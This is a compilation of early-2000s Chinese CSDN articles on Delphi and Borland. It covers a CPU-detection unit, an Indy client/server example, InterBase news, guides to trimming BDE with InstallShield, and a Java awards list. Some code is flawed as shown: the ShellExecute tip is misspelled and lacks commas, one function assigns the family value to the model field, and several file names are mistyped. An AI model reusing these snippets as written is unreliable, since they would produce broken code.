function TCpuData.GenuineIntel:TCpuRec;
var Family,Model,Stepping:byte;
begin
GetFMS(Family,Model,Stepping);
if Family=4 then begin
                   GenuineIntel.Name:='Intel 486';
                   GenuineIntel.Vendor:=GetVendorString;
                   GenuineIntel.Frequency:=0;
                   GenuineIntel.Family:=Family;
                   GenuineIntel.Model:=Model;
                   GenuineIntel.Stepping:=Stepping;
                   GenuineIntel.L1DCache:=8;
                   GenuineIntel.L1ICache:=8;
                   GenuineIntel.L2Cache:=0;
                  end
else
if Family=5 then begin
                   GenuineIntel.Name:=IntelP5N;
                   GenuineIntel.Vendor:=GetVendorString;
                   GenuineIntel.Frequency:=GetCPUFrequency;
                   GenuineIntel.Family:=Family;
                   GenuineIntel.Model:=Model;
                   GenuineIntel.Stepping:=Stepping;
                   GenuineIntel.L1DCache:=P5CacheL1DI;
                   GenuineIntel.L1ICache:=P5CacheL1DI;
                   GenuineIntel.L2Cache:=0;
                  end
else
if Family=6 then begin
                   GenuineIntel.Name:=IntelP6N;
                   GenuineIntel.Vendor:=GetVendorString;
                   GenuineIntel.Frequency:=GetCPUFrequency;
                   GenuineIntel.Family:=Family;
                   GenuineIntel.Model:=Model;
                   GenuineIntel.Stepping:=Stepping;
                   GenuineIntel.L1DCache:=P6CacheL1DI;
                   GenuineIntel.L1ICache:=P6CacheL1DI;
                   GenuineIntel.L2Cache:=P6CacheL2;
                  end
else
if Family=$F then begin
                    if CheckPentium4 then
                     begin
                      GenuineIntel.Name:='Intel Pentium(r) 4';
                      GenuineIntel.Vendor:=GetVendorString;
                      GenuineIntel.Frequency:=GetCPUFrequency;
                      GenuineIntel.Family:=32;
                      GenuineIntel.Model:=Model;
                      GenuineIntel.Stepping:=Stepping;
                      GenuineIntel.L1DCache:=8;
                      GenuineIntel.L1ICache:=12;
                      GenuineIntel.L2Cache:=256;
                     end
                    else if CheckIthanium then
                      begin
                       GenuineIntel.Name:='Intel Ithanium';
                       GenuineIntel.Vendor:=GetVendorString;
                       GenuineIntel.Frequency:=GetCPUFrequency;
                       GenuineIntel.Family:=64;
                       GenuineIntel.Model:=Model;
                       GenuineIntel.Stepping:=Stepping;
                       GenuineIntel.L1DCache:=0;
                       GenuineIntel.L1ICache:=0;
                       GenuineIntel.L2Cache:=0;
                      end;
                     end;
end;
function TCpuData.CyrixInstead:TCpuRec;
var Family,Model,Stepping:byte;
    EFamily,EModel,EStepping:byte;
begin
GetFMS(Family,Model,Stepping);
if Family=4 then begin
                   CyrixInstead.Name:='VIA Cyrix 4x86';
                   CyrixInstead.Vendor:=GetVendorString;
                   CyrixInstead.Frequency:=0;
                   CyrixInstead.Family:=Family;
                   CyrixInstead.Model:=Model;
                   CyrixInstead.Stepping:=Stepping;
                   CyrixInstead.L1DCache:=8;
                   CyrixInstead.L1ICache:=8;
                   CyrixInstead.L2Cache:=0;
                  end
else
if Family=5 then begin
                   CyrixInstead.Name:='VIA Cyrix 5x86';
                   CyrixInstead.Vendor:=GetVendorString;
                   CyrixInstead.Frequency:=GetCPUFrequency;
                   CyrixInstead.Family:=Family;
                   CyrixInstead.Model:=Model;
                   CyrixInstead.Stepping:=Stepping;
                   CyrixInstead.L1DCache:=8;
                   CyrixInstead.L1ICache:=8;
                   CyrixInstead.L2Cache:=0;
                  end
else begin
       if GetMaxExtendedFunctions>0 then
           Begin
            CyrixInstead.Name:=GetExtendedCpuName;
            CyrixInstead.Vendor:=GetVendorString;
            CyrixInstead.Frequency:=GetCPUFrequency;
            GetExtendedFMS(EFamily,EModel,EStepping);
            CyrixInstead.Family:=EFamily;
            CyrixInstead.Model:=EModel;
            CyrixInstead.Stepping:=EStepping;
            CyrixInstead.L1DCache:=GetExtendedL1DCache;
            CyrixInstead.L1ICache:=GetExtendedL1ICache;
            CyrixInstead.L2Cache:=GetExtendedL2Cache;
           end
       else begin
             CyrixInstead.Name:=Cyrix686N;
             CyrixInstead.Vendor:=GetVendorString;
             CyrixInstead.Frequency:=GetCPUFrequency;
             CyrixInstead.Family:=Family;
             CyrixInstead.Model:=Model;
             CyrixInstead.Stepping:=Stepping;
             CyrixInstead.L1DCache:=32;
             CyrixInstead.L1ICache:=32;
             CyrixInstead.L2Cache:=0;
            end;
     end;
end;

function TCpuData.GenericCPU:TCpuRec;
var Family,Model,Stepping:byte;
    EFamily,EModel,EStepping:byte;
begin
if not GetCPUIDSupport then
    begin
     MessageDlg('This CPU does not support the CPUID instruction!!!',mtWarning,
     [mbOk],0);
     GenericCPU.Name:='Unidentified CPU';
     GenericCPU.Vendor:='Unidentified';
     GenericCPU.Frequency:=0;
     GenericCPU.Family:=-1;
     GenericCPU.Model:=-1;
     GenericCPU.Stepping:=-1;
     GenericCPU.L1DCache:=0;
     GenericCPU.L1ICache:=0;
     GenericCPU.L2Cache:=0;
    end
else
begin
  GetFMS(Family,Model,Stepping);
if GetMaxExtendedFunctions>0 then
     begin
      GenericCPU.Name:=GetExtendedCPUName;
      GenericCPU.Vendor:=GetVendorString;
      GenericCPU.Frequency:=GetCPUFrequency;
      CpuData.GetExtendedFMS(EFamily,EModel,EStepping);
      GenericCPU.Family:=EFamily;
      GenericCPU.Model:=EFamily;
      GenericCPU.Stepping:=EStepping;
      GenericCPU.L1DCache:=GetExtendedL1DCache;
      GenericCPU.L1ICache:=GetExtendedL1ICache;
      GenericCPU.L2Cache:=GetExtendedL2Cache;
     end
else begin
       GenericCPU.Name:=GenericCpuN;
       GenericCPU.Vendor:=GetVendorString;
       if Family<=4 then GenericCPU.Frequency:=0
       else GenericCPU.Frequency:=GetCPUFrequency;
       GenericCPU.Family:=Family;
       GenericCPU.Model:=Model;
       GenericCPU.Stepping:=Stepping;
       GenericCPU.L1DCache:=0;
       GenericCPU.L1ICache:=0;
       GenericCPU.L2Cache:=0;
      end;
end;
end;
end.


CSDN_文档中心_IBM收购Rational后续 市场分析微软将收购Borland

继IBM日前并购Rational后，分析师纷纷预测微软有可能买下Borland，使得该公司股票昨天大幅上涨。

Borland股价昨天上涨74美分，以12.31美元作收，涨幅6.4%，成交量达180万股。Borland发言人表示不愿针对市场臆测发表评论。

IBM上周才以21亿美元收购Borland对手Ratioal Software，也因此分析师认为Borland很可能是下一个被并购的标的。但不论此次是否有任何重大并购发生，分析师认为软件应用市场已经开始出线整合迹象。

“市场上从来没有一家真正成功的单一工具软件商，市场上正进行一波宁静整合。”Forrrester Research分析师Joshua Walker表示。他在最近一份研究笔记中建议由大型应用服务器厂商出面收购Borland。

“所有客户端/伺服端工具商都被收购了，例如Sun当时买下Forte一样，目前则是最新一波软件工具市场在进行整合。”他表示。

IBM买下Rational后将导至微软与Rational之间关系产生矛盾。微软在高阶应用模型工具上是采用Ratiional产品；分析师与IBM竞争者都质疑IBM未来是否还会保持Rational平台的中立性；而未来Rational与微软的关系能否依然维持密切合作关系也大有疑问。

RedMonk分析师Stephen O'Grady表示，若微软真的有意并购Borland那绝对是看在TogetherSoft模型工具的面子上。Borland在十月以1.85亿美元买下TogetherSoft。

TogetherSoft是Rational的直接竞争厂商，同样是销售应用模型工具。目前微软自家有销售低阶软件开发工具，但对于更复杂的模型与管理软件则与Rational采结盟合作。

“TogetherSoft将会是对微软最有利的地方，让微软能真正进入模型市场领域，而不是担任二军角色。”O'Grady表示。“微软也可因此获得高阶开发工具的功能。”(陈奭璁)


CSDN_文档中心_Indy Client / Server 程序示例

Indy Client / Server 程序示例
by Mats Asplund　翻译：菩提葡萄
re-printed with permission of the author
original source from http://go.to/masdp

简介

这是一个使用Indy控件实现的Client/Server应用示例，分为客户/服务器两个程序。

当一个客户端连接到服务端程序时，服务端程序将返回一个0－9的标识符给客户端，并用一个小方块表示客户端程序的工作状态，而客户端程序每5秒钟改变一次工作状态（”工作/空闲“"working / idle"）。当客户端断开时相应的方块将不可见，它的ID号也将释放并会分配给下一个连接上来的客户端程序。如果连接的客户端超过十个，服务器将返回一个”Full“标识给新连接上来的客户端。

Indy 组件是一套开放源代码的Blocking模式Socket组件，可以从这里免费下载：
www.nevrona.com/indy.

本示例程序可在这里下载

{short description of image}

{----------------------------------------------------------------------
 Unit Name: sUnit
 Author:    Mats Asplund, 2001-11-09
 Purpose:   Indy client/server示例, 服务器部分
----------------------------------------------------------------------}

unit sUnit;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics,
  Controls, Forms, Dialogs, IdBaseComponent, IdComponent, IdTCPServer,
  StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    IdTCPServer1: TIdTCPServer;
    Timer1: TTimer;
    Memo1: TMemo;
    Label2: TLabel;
    Edit1: TEdit;
    procedure IdTCPServer1Execute(AThread: TIdPeerThread);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure IdTCPServer1Connect(AThread: TIdPeerThread);
    procedure IdTCPServer1Disconnect(AThread: TIdPeerThread);
    procedure FormActivate(Sender: TObject);
  private
    ClientList: TStringList;
    ClientStatus: array[0..9] of TShape;
    procedure ShowClientStatus;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses IdTCPConnection;

{$R *.dfm}

procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
var
  ClientMsg: string;
begin
  with AThread.Connection do
  begin
// 读信息
    ClientMsg := ReadLn('', -2);
// 如果客户端断开连接，则从ClintList中删除之
    if Pos('disconnecting...', ClientMsg) > 1 then
    begin
      ClientList.Delete(ClientList.IndexOf(Copy(ClientMsg, 7, 1)));
      ClientStatus[StrToInt(Copy(ClientMsg, 7, 1))].Visible := false;
    end
    else
// 否则按客户端状态更新图块
      if Pos('working', ClientMsg) > 1 then
      begin
        ClientStatus[StrToInt(Copy(ClientMsg, 7, 1))].Visible := true;
        ClientStatus[StrToInt(Copy(ClientMsg, 7, 1))].Brush.Color := clLime;
      end
      else
      begin
        ClientStatus[StrToInt(Copy(ClientMsg, 7, 1))].Visible := true;
        ClientStatus[StrToInt(Copy(ClientMsg, 7, 1))].Brush.Color := clRed;
      end;
    Edit1.Text := ClientMsg;
  end;
  ShowClientStatus;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  ClientList := TStringList.Create;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
  n: integer;
begin
  ClientList.Free;
  for n := 0 to 9 do
    ClientStatus[n].Free;
end;

procedure TForm1.ShowClientStatus;
begin
  Memo1.Lines.Text := ClientList.Text;
end;

procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread);
var
  n: integer;
  Full: boolean;
begin
  with AThread.Connection do
  begin
    Full:= true;
    for n := 0 to 9 do
// 取第一个空闲的标识
      if (ClientList.IndexOf(IntToStr(n)) = -1) then
      begin
        ClientList.Add(IntToStr(n));
// 将标识返回到客户端
        WriteLn(IntToStr(n));
        Full:= false;
        Break;
      end;
    if Full then WriteLn('Server full');
  end;
  ShowClientStatus;
end;

procedure TForm1.IdTCPServer1Disconnect(AThread: TIdPeerThread);
begin
  ShowClientStatus;
end;

procedure TForm1.FormActivate(Sender: TObject);
var
  n: integer;
begin
// 建立十个不可见的块图
  for n := 0 to 9 do
  begin
    ClientStatus[n] := TShape.Create(Self);
    ClientStatus[n].Parent := Form1;
    ClientStatus[n].Height := 10;
    ClientStatus[n].Width := 10;
    ClientStatus[n].Shape := stRectangle;
    ClientStatus[n].Top := 35;
    ClientStatus[n].Left := 8 + (15 * n);
    ClientStatus[n].Visible := false;
  end;
end;

end.

{----------------------------------------------------------------------
 Unit Name: cUnit
 Author:    Mats Asplund, 2001-11-09
 Purpose:   Indy client/server示例, 客户端部分
----------------------------------------------------------------------}

unit cUnit;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics,
  Controls, Forms, Dialogs, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, ExtCtrls, StdCtrls;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    IdTCPClient1: TIdTCPClient;
    Label1: TLabel;
    Shape1: TShape;
    Edit1: TEdit;
    Label2: TLabel;
    Button1: TButton;
    procedure Timer1Timer(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    ServerDown, Idle: Boolean;
    ClientNo: string;
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  try
    with IdTCPClient1 do
    begin
      Timer1.Interval:= 5000;
// Turn off timer in case of server going down.
      Timer1.Enabled:= false;
      Idle:= not Idle;
      if Idle then
      begin
        Writeln('Client' + ClientNo + ' idle...');
        Shape1.Brush.Color:= clRed;
// Turn it on again
        Timer1.Enabled:= true;
      end
      else
      begin
        Writeln('Client' + ClientNo + ' working...');
        Shape1.Brush.Color:= clLime;
// Turn it on again
        Timer1.Enabled:= true;
      end;
    end;
  except
    on E: Exception do
    begin
      MessageDlg('The server is down.' + #13#10 +
        'Restart the client some other time.', mtError, [mbOK], 0);
      LAbel1.Caption:= 'No contact with server..';
      ServerDown:= true;
    end;
  end;
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  if not ServerDown then
    with IdTCPClient1 do
    begin
      Writeln('Client' + ClientNo + ' disconnecting...');
      Disconnect;
    end;
  Action:= caFree;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  try
    Timer1.Interval:= 1000;
    Timer1.Enabled:= true;
// 连接到服务器
    with IdTCPClient1 do
    begin
      Host:= Edit1.Text;
      Connect;
// 读服务器返回的标识
      ClientNo:= Readln('', 5000); // Timeout 5 secs
      if ClientNo = 'Server full' then
      begin
        MessageDlg('There''s already ten clients connected. ' + #13#10 +
          'Try connecting some other time !', mtWarning, [mbOK], 0);
      end
      else
        if ClientNo = '' then
        begin
          Label1.Caption:= 'Client' + ClientNo + ' connection refused...';
        end
        else
        begin
// Connection accepted by server.
          ServerDown:= false;
          Caption:= 'Client' + ClientNo;
          Button1.Enabled:= false;
          Label1.Caption:= 'Client' + ClientNo + ' connection accepted...';
        end;
    end;
  except
    on E: Exception do
    begin
      Label1.Caption:= 'Client' + ClientNo + ' connection refused...';
    end;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  ServerDown:= true;
end;

end.


CSDN_文档中心_Inprise/Borland 致InterBase用户的公开信

2000-09-08

致我们InterBase®用户的公开信:

我们非常高兴发表这个关于InterBase®开放源码项目和我们的InterBase商业版之方向的声明。我们承诺：支持InterBase产品线，支持我们尊敬的客户，支持我们许多的尊敬的合作伙伴及第三方组织，并向遍布全球的InterBase用户提供品质支持和服务。

我们感到从开放源码运动与生俱有的集体热情和集体才能中可以获益多多，特别是通过运用社群中大量的各种各样的资源而促进InterBase的能力。我们觉得以下这点是很重要的，那就是，Inprise/Borland 为我们现有的基础，包括企业用户，VARs,，OEMs，政府用户继续提供经过认证的商业版本。因此，我们决定更积极地支持我们的InterBase开放源码项目并且继续认证和发布InterBase的商业版本。

开放源码

在过去的几周里，我们一直在工作以使我们放在Source Forge™上的InterBase 项目更加完善和更有组织。当前，在Source Forge 上放有Inprise 的四个项目：

The main InterBase 6.0 project
IBConsole
InterBase Express
InterClient

新的InterBase 6.0.1二进制代码和工具包也已被更新了，更正了在2000年7月25日发布的某些工具包中会遇到的问题。我们也在准备说明文件，构建过程和其他的一些可能被InterBase社群作为引用材料使用的文档。我们希望，当在这个开放源码开发项目中扮演一个积极的角色时，InterBase社群可以从这些文档中获得指南。我们也将为InterBase社群做出一系列测试工具来帮助开发者在将代码提交至代码评阅树之前检查代码。请关注IBTests项目，它将在几天之后在http://sourceforge.net/projects/ib-tests 开始。

在未来的几周里，将继续确定构建委员会的委员。我们的目标是组建一个由Inprise/Borland 内部成员和外部成员组成的坚实团队。被确认的委员名单我们将在以后公布。关于InterBase和Inprise开放源码项目的更多的新闻和信息将周期性地在Inprise 和 Source Forge站点上发布。

由于开放源码协议的本意，其他的实体也被授权鉴证自己的InterBase版本。为了支持这一点，Inprise/Borland 正在考虑如何对社群的成员许可QA 测试工具的一个有意义的分类。我们也将评估Inprise/Borland拥有的与InterBase名称相关的版权和注册商标的使用情况。我们正工作于尽可能快地做出所有重要的决定并且一旦决定就公布消息。

我们的InterBase开放源码项目的成功需要你的继续的支持和输入，就像我们做的那样。我们感谢你的评论。请将评论直接发到interbase@inprise.com 或这许多新闻组的一个上。

Inprise/Borland鉴定版

Inprise/Borland将为商业发布周期性地测试和鉴定InterBase的版本。这其中的第一个将是公布在Source Forge上的InterBase 6.0.1代码的派生物。我们正在鉴定该版本的最终组件，然后就会让我们的客户和合作伙伴通过我们正规的发行渠道可以获得。Inprise/Borland将围绕InterBase的鉴定版继续她的市场和销售的努力，将实现对客户的承诺，将为这些被鉴定的Interbase版本提供相关联的支持和服务。

我们鼓励第三方公司为所有的InterBase版本提供支持和服务，包括开放源码版本和其他被鉴定的版本。这对于全世界的InterBase社群中的有才能的开发者，顾问，培训者来说是一个巨大的机会。

另外，当前Inprise/Borland 正在寻找InterBase产品线的经理，他同时还将活跃在开放源码项目中。详细的工作描述将在稍后的几天里公布。他将被赋予运作InterBase商务的任务，包括管理InterBase鉴定版的发布过程，和作为Inprise/Borland 方面的单一的联系人来指导和传达Inprise开放源码项目中被提议的建设性意见。感兴趣的候选人可将履历Email到 resume@inprise.com来申请。

感谢你们的支持！

InterBase是一个有着忠实用户的强大产品。没有社群团体的力量，我们现在所做的指导将是不可能的。我们希望支持这个产品向前发展，并且加入到开放源码运动中以创造出InterBase更好的版本来。

当我们集中精力于将我们的超级开发工具带向市场时，这在Inprise/Borland 是一个激动人心的时刻，我期望这机会提前到来；这些工具包括InterBase和我们的第一流的应用服务器解决方案。再一次地感谢你们对InterBase的兴趣，并衷心希望我们能支持你们各种努力的成功。

Frank Slootman
软件产品副总裁

—— www.borland.com

—— InterBase主站点 www.interbase.com ； www.interbase2000.org

—— 译者的话：作为一个免费的跨平台的开放源码的数据库产品，InterBase可以为中国的大多数中小软件开发商提供巨大的价值，大家不妨拭目以待或立即行动。

www.delphidevelopers.com


CSDN_文档中心_InstallShield Express for delphi制作安装程序定制BDE引擎

使用Delphi编写数据库程序，在发布程序的同时还需要发布BDE（Borland Database Engine），但BDE占用空间较大，如Delphi5就有17.4M之多，远比一般的程序本身要大。实际上，有些文件根本用不上，所以我们可以在发布时用Delphi附带的InstallShield Express for delphi制作安装程序来定制BDE引擎，这样就可以达到为我们的数据库应用程序“减肥”的目的。

下面介绍BDE引擎的各关键文件的作用，我们以此作为精简BDE驱动程序的依据：

一、不可缺少的文件

Blw32.dll：语言驱动函数库。

Idapi32.dll：BDE基本函数库。

Fareast.btl、Usa.btl：远东语言及美国语言驱动程序，对中文软件不可缺少。

Idr20009.dll：错误信息库。

二、数据库驱动程序（根据需要选择一个或多个）

Idasci32.dll：Ascii文本数据库驱动程序函数库，如果不用Ascii文本数据库，可以不要。

Iddao32.dll：Access数据库驱动程序函数库，如果不用Access数据库，可以不要。

Iddbas32.dll：dBase数据库驱动程序函数库，如果不用dBase数据库，可以不要。

Idodbc32.dll：ODBC数据库驱动程序函数库，如果不用ODBC数据库，可以不要。

Idpdx32.dll：Paradox数据库驱动程序函数库，如果不用Paradox数据库，可以不要。

三、其它驱动程序和配置文件（根据需要选择一个或多个）

Idbat32.dll：批操作驱动程序函数库，如果不用TBatchMove控件或DbiBatchMove类函数，可以不要。

Iddr32.dll：Data Repository驱动程序函数库，如果不用Data Repository功能，可以不要。

Idprov32.dll：BDE DataSet provider驱动程序函数库，如果不用TProvider控件，可以不要。

Idqbe32.dll：QBE驱动程序函数库，如果不用Query By Example，可以不要。

Idsql32.dll：SQL查询驱动程序函数库，如果不用TQuery进行查询，可以不要。

Idapi32.cfg：BDE配置文件，如果程序中没有特殊要求，可以不要。也可以在BDE管理器中设置正确后再分发。

四、其它文件（一般不用）

其它的*.BTL：其它国家和地区的语言驱动程序，可以不要。

BDE32.HLP、BDE32.CNT：BDE帮助文件，可以不要。

BdeAdmin.exe、BdeAdmin.HLP、BdeAdmin.CNT：BDE管理器及帮助文件，如果不会发生要求软件用户自己配置BDE的情况时，可以不要。

DataBump.EXE、DataBump.HLP、DataBump.CNT：数据库数据转移工具及帮助文件，可以不要。

Localsql.HLP、Localsql.CNT：SQL查询语句帮助文件，可以不要。

Sqllnk32.HLP、Sqllnk32.CNT：SQL连接帮助文件，可以不要。

根据需要选择文件后，还要写注册表文件。需要设置的注册表键值有：

数据驱动程序所在目录的设置：

HKEY_LOCAL_MACHINE\Software\Borland\Database Engine\DLLPATH（字符串值）

语言驱动程序所在目录的设置：

HKEY_LOCAL_MACHINE\Software \Borland\BLW32\BLAPIPATH（字符串值）

语言驱动程序文件名：

HKEY_LOCAL_MACHINE\ Software\Borland\BLW32\LOCALE_LIB#（字符串值） 　其中#为编号，按顺序为0、1、2、3......如：

HKEY_LOCAL_MACHINE\Software\Borland\BLW32\LOCALE_LIB0="fareasst.btl" 　HKEY_LOCAL_MACHINE\Software\Borland \BLW32\LOCALE_LIB1="usa.btl"

做完这些就足够了，按此办法即可有效减少BDE驱动程序的大小，例如只用TTable控件操作Paradox数据库，则只要Idapi32.dll、Blw32.dll、Idr20009.dll、Fareast.btl、Usa.btl、Idpdx32.dll六个文件即可。这些文件可放在任何一个目录，只要在注册表指明即可。BDE由17.4M减到1.48M，压缩一下就只有几百K了，这使程序大为减小。

下面我们就以用InstallShield Express for Delphi5.0来制作一个Paradox数据库应用系统的安装程序为例：

1. 启动InstallShield Express for Delphi5.0程序；

2. 设置New project对话框中有关文件目录路径，3. 然后进入Setup Checklist；

4. 在Set the Visual Design中设置程序名5. 、程序目录、安装程序主窗口等信息；

6. 在Specify Installshield objects for delphi5 中设置General Options，7. 选择BDE数据库引擎；

8. 在Specify Components and Files中设置Groups and Files项，9. 在Program Files中加入用户的所有程序文件和数据库表文件，10. 在BDE/IDAPI Files中删除除Idbat32.dll、Usa.btl、Idapi.cfg、Charset.cvb、Bantam.dll、BLW32.dll、Idapi32.dll、Fareast.btl、Idpdx32.dll、Idr20009.dll、Idsql32.dll以外的文件；

11. 在Dialog Boxes中设置所需安装对话框；

12. 在Make Registry Changes中设置Keys项，13. 在HKEY_LOCAL_MACHINE中加入software\borland\blw32和software\borland\database engine两项，14. 并且在blw32的值中加入 “Blapipath ‘以上文件路径’”、“LOCALE_LIB0 ‘以上文件路径’\Fareast.dll”和“LOCALE_LIB1 ‘以上文件路径’\Usa.dll”，15. 在database engine值中加入“Dllpath ‘以上文件路径’”、“Configfile01 ‘以上文件路径’\Idapi.cfg”；

16. 在Specify Folder and Icons中根据实际要求设置有关项目；

17. 在Run Disk Builder中设置安装盘的有关信息；

18. 最后进行Test the Installation和Create Distribution Media即可完成安装程序的制作。


CSDN_文档中心_InstallShield Express制作Delphi数据库安装程序

关键所在
用Delphi编写的数据库程序在发布时需要同时发布BDE（Borland Database Engine），但BDE占用空间较大（不同版本大小不一，最新的Delphi5有17M多），远比一般的程序本身要大。但实际上，有些文件用不上的，所以我们可以在发布时用Delphi附带的InstallShield制作安装程序来定制BDE驱动，这样可以精简我们的数据库应用程序。
实现与应用
参考Bde32.HLP中"Introduction to Borland Database Engine"下的"Core BDE Files"，可以得知BDE的关键文件及其作用，可以以此作为依据来精简BDE驱动程序。下面是各个文件的作用：
一、不可缺少的文件
Blw32.dll：语言驱动函数库。
Idapi32.dll：BDE基本函数库。
Fareast.btl、Usa.btl：远东语言及美国语言驱动程序，对中文软件不可缺少。
Idr20009.dll：错误信息库。

二、数据库驱动程序（根据需要选择一个或多个）
Idasci32.dll：Ascii文本数据库驱动程序函数库，如果不用Ascii文本数据库，可以不要。
Iddao32.dll：Access数据库驱动程序函数库，如果不用Access数据库，可以不要。
Iddbas32.dll：dBase数据库驱动程序函数库，如果不用dBase数据库，可以不要。
Idodbc32.dll：ODBC数据库驱动程序函数库，如果不用ODBC数据库，可以不要。
Idpdx32.dll：Paradox数据库驱动程序函数库，如果不用Paradox数据库，可以不要。

三、其它驱动程序和配置文件（根据需要选择一个或多个）
Idbat32.dll：批操作驱动程序函数库，如果不用TBatchMove控件或DbiBatchMove类函数，可以不要。
Iddr32.dll：Data Repository驱动程序函数库，如果不用Data Repository功能，可以不要。
Idprov32.dll：BDE DataSet provider驱动程序函数库，如果不用TProvider控件，可以不要。
Idqbe32.dll：QBE驱动程序函数库，如果不用Query By Example，可以不要。
Idsql32.dll：SQL查询驱动程序函数库，如果不用TQuery进行查询，可以不要。
Idapi32.cfg：BDE配置文件，如果程序中没有特殊要求，可以不要。也可以在BDE管理器中设置正确后再分发。

四、其它文件（一般不用）
其它的*.BTL：其它国家和地区的语言驱动程序，可以不要。
BDE32.HLP、BDE32.CNT：BDE帮助文件，可以不要。
BdeAdmin.exe、BdeAdmin.HLP、BdeAdmin.CNT：BDE管理器及帮助文件，如果不会发生要求软件用户自己配置BDE的情况时，可以不要。
DataBump.EXE、DataBump.HLP、DataBump.CNT：数据库数据转移工具及帮助文件，可以不要。
Localsql.HLP、Localsql.CNT：SQL查询语句帮助文件，可以不要。
Sqllnk32.HLP、Sqllnk32.CNT：SQL连接帮助文件，可以不要。

在根据需要选择文件后，还要写注册表文件。可以手工设置，但最好在程序中设置，需要设置的注册表键值有（在调用数据库操作前需要有正确的键值存在，各对应键值在Win9x/NT/Win2000下均相同）：
数据驱动程序所在目录的设置：
HKEY_LOCAL_MACHINE\Software\Borland\Database Engine\DLLPATH（字符串值）
语言驱动程序所在目录的设置：
HKEY_LOCAL_MACHINE\Software \Borland\BLW32\BLAPIPATH（字符串值）
语言驱动程序文件名：
HKEY_LOCAL_MACHINE\ Software\Borland\BLW32\LOCALE_LIB#（字符串值） 　其中#为编号，按顺序为0、1、2、3......如：
HKEY_LOCAL_MACHINE\Software\Borland\BLW32\LOCALE_LIB0="fareasst.btl" 　HKEY_LOCAL_MACHINE\Software\Borland \BLW32\LOCALE_LIB1="usa.btl"
做完这些就足够了，按此办法即可有效减少BDE驱动程序的大小，例如只用TTable控件操作Paradox数据库，则只要Idapi32.dll、Blw32.dll、Idr20009.dll、Fareast.btl、Usa.btl、Idpdx32.dll六个文件即可。这些文件可放在任何一个目录，只要在注册表指明即可。BDE由17.4M减到1.48M，压缩一下就只有几百K了，这使程序大为减小。
下面我们就以用InstallShield来制作一个Paradox数据库应用系统的安装程序为例：
1.启动程序设置有关文件目录路径，进入Setup Checklist；
2.在Set the Visual Design中设置程序名、程序目录、安装程序主窗口等；
3.在Specify Components and Files中设置Groups and Files项，在Program Files中加入用户的所有程序文件和数据库表文件，以及下列文件：Idbat32.dll、Usa.btl、Idapi.cfg、Charset.cvb、Bantam.dll、BLW32.dll、Idapi32.dll、Fareast.btl、Idpdx32.dll、Idr20009.dll、Idsql32.dll（以上文件必须含目录路径）；
4.在Dialog Boxes中设置所需安装对话框；
5.在Make Registry Changes中设置Keys项，在HKEY_LOCAL_MACHINE中加入software\borland\blw32和software\borland\database engine两项，并且在blw32值中加入
"Blapipath '以上文件目录'"、"LOCALE_LIB0 '以上文件目录'\Fareast.bll"和"LOCALE_LIB1 '以上文件目录'\Usa.bll"，在database engine值中加入"Dllpath '以上文件目录'"、"Configfile01 '以上文件目录'\Idapi.cfg"；
6.在Specify Folder and Icons中根据实际要求设置有关项目；
7.在Run Disk Builder中设置安装盘的有关信息；
8.最后进行Test the Installation和Create Distribution Media即可完成安装程序的制作。


CSDN_文档中心_InterBase 在德国Java杂志2001年最佳产品的编辑选择奖中荣获数据库类第二名

2001-04-13

InterBase 在德国Java杂志2001年最佳产品的编辑选择奖中荣获数据库类第二名

第一名是Oracle，其它的竞争者还有：IBM DB2, mySQL, InstantDB, Microsoft SQL-Server, HypersonicSQL, Cach ObjectStore, PostgreSQL, Informix Cloudscape, 以及 Sybase Adaptive Server Enterprise。

总的获奖情况为：

最佳Java开发环境：
1: Borland JBuilder
2: Sun Forte for Java
其它：IBM Visual Age for Java, Webgain Visual Café, Metrowerks Code Warrior for Java, Oracle JDeveloper, Allaire Kawa, Macromedia Dreamweaver Ultradev

最佳Java应用服务器：
1: BEA WebLogic Server
2: Borland Application Server
其它: Persistence PowerTier, Enhydra, IBM WebSphere, Jboss, JonAs, iPlanet, Orion, Iona iPortal, HP Bluestone Total eServer, Tomcat, Allaire JRun

最佳Java安装配置工具：
1: InstallShield Multi Platform Edition
2: Install Anywhere
其它: ANT, Freeman Installer, Sitraka DeployDirector

最佳Java组件：
1: Sitraka JClass
2: Rogue Wave StudioJ
其它: Swing, Lotus XSL, NetComponents, Log4J, Formula One for Java, HttpUnit, Infragistics JSuite

最佳数据库：
1: Oracle
2: InterBase （译注：InterBase是开源软件）
其它: IBM DB2, mySQL, InstantDB, Microsoft SQL-Server, HypersonicSQL, Caché, ObjectStore, PostgreSQL, Informix Cloudscape, Sybase Adaptive Server Enterprise, Borland JDatastore

最佳Java建模工具：
1: TogetherJ
2: Rational Rose
其它: Argo/UML, Power Designer, Microtool objectiF, 3 STP, Innovator, GDPro, OTW

最佳Java开放源码解决方案：
 1: Tomcat
2: JBoss
其它: Enhydra, Xalan und Xerces, Orion Application Server, ANT, James, TagLibs, FOP, HypersonicSQL, PHP, Jakarta ORO, HttpUnit, Bouncycastle, Argo/UML, Apache XML Tools

www.delphidevelopers.com


CSDN_文档中心_Internet编程技巧1

Internet编程技巧

实现超级链接

在程序中实现打开浏览器，打开邮件程序的功能首先要在uses部分加入

uses Shellapi;

接着在需要超级链接的地方使用

SellExecute(handle

nil

pchar('mailto:guihong@163.net')

nil

nil

sw_shownormal);

其中pchar()中的mailtos是打开邮件程序的，可以换成http://、ftp://、gopher://、new:、telnet:等多种形式

在Delphi中调用NetscapeNavigator。

